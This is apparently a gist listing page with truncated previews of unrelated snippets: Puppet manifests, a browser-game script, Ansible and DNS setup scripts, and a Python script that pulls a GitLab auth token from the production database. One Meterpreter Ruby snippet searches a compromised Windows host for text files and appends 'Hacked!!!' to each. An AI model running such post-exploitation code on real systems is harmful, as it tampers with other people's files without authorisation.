This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if $::facts['os']['family'] == 'RedHat' { | |
include ::epel | |
} | |
include redis |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
file {'/tmp/stupid': | |
ensure => file, | |
contet => 'im stupid' | |
} | |
file {'im doing something stupid stupid': | |
path => '/tmp/stupid' | |
contet => 'im more stupid' | |
ensure => file, | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This class foos a hash. | |
# | |
# @example format: | |
# class {'hash_foo': | |
# foo => { | |
# 'acquaintance_name' => { | |
# 'command' => '/path/to/command', | |
# 'frequency' => 'rarely', | |
# 'oneoff' => true, | |
# } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
deactivationSwitch = 0; | |
function run(sameVillage, type, catLevel) | |
{var doc = (window.frames.length > 0) ? window.main.document: document; | |
debug("Cascade version: 1.1.05"); | |
debug("Browser: " + navigator.userAgent); | |
debug("Url: " + window.location); | |
var arrLanguage =['Level', 'Attacker:', 'Defender:', 'commands', 'Give commands']; | |
var arrBuildings =["Headquarters", "Barracks", "Stable", "Workshop", "Academy", "Smithy", "Rally point", | |
"Statue", "Market", " Farm", "Wall"]; | |
if(typeof custom_order == "undefined"){custom_order = false;} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import gitlab | |
import psycopg2 | |
from pwd import getpwnam | |
def get_auth_token(): | |
os.setuid(getpwnam('gitlab-psql').pw_uid) | |
conn = psycopg2.connect( | |
host='/var/opt/gitlab/postgresql', | |
database='gitlabhq_production') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@server:~# service -e | grep nsd | |
root@server:~# service nsd rcvar | |
# nsd | |
# | |
nsd_enable="YES" | |
# (default: "") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from collections import namedtuple | |
from ansible.parsing.dataloader import DataLoader | |
from ansible.vars import VariableManager | |
from ansible.inventory import Inventory | |
from ansible.playbook.play import Play | |
from ansible.executor.task_queue_manager import TaskQueueManager | |
Options = namedtuple('Options', ['connection','module_path', 'forks', 'remote_user', 'private_key_file', 'ssh_common_args', 'ssh_extra_args', 'sftp_extra_args', 'scp_extra_args', 'become', 'become_method', 'become_user', 'verbosity', 'check']) | |
# initialize needed objects |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
client.fs.file.search('c:\\', glob='*.txt').each do |file| | |
path = "#{file['path']}/#{file['name']}" | |
print_status("updateing: #{path}") | |
begin | |
client.fs.file.open(path, 'a') { |f| | |
f.write("\r\nHacked!!!\r\n") | |
} | |
rescue | |
print_status("unable to edit: ${path}") | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ ~]$ fetch https://restcountries.eu/rest/v1/alpha/gm | |
fetch: https://restcountries.eu/rest/v1/alpha/gm: Forbidden |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
MY_NAMESERVER=192.168.0.1 | |
VPN_DOMAINS="example.org" | |
sudo mkdir -p /etc/resolver | |
#for DOMAIN in ${VPN_DOMAINS} | |
#do | |
# echo -e "d.init\nget State:/Network/Service/net.juniper.pulse.nc.main/DNS\nd.show" | scutil | awk '/ServerAddresses/{flag=1;next}/\}/{flag=0}flag {printf "nameserver %s\n", $NF}' | sudo tee /etc/resolver/${DOMAIN} | |
#done | |
echo -e "d.init\nd.add ServerAddresses * ${MY_NAMESERVER}\nset State:/Network/Service/net.juniper.pulse.nc.main/DNS" | sudo scutil | |
sudo route -n delete -inet6 default fd00::a20:3c09 |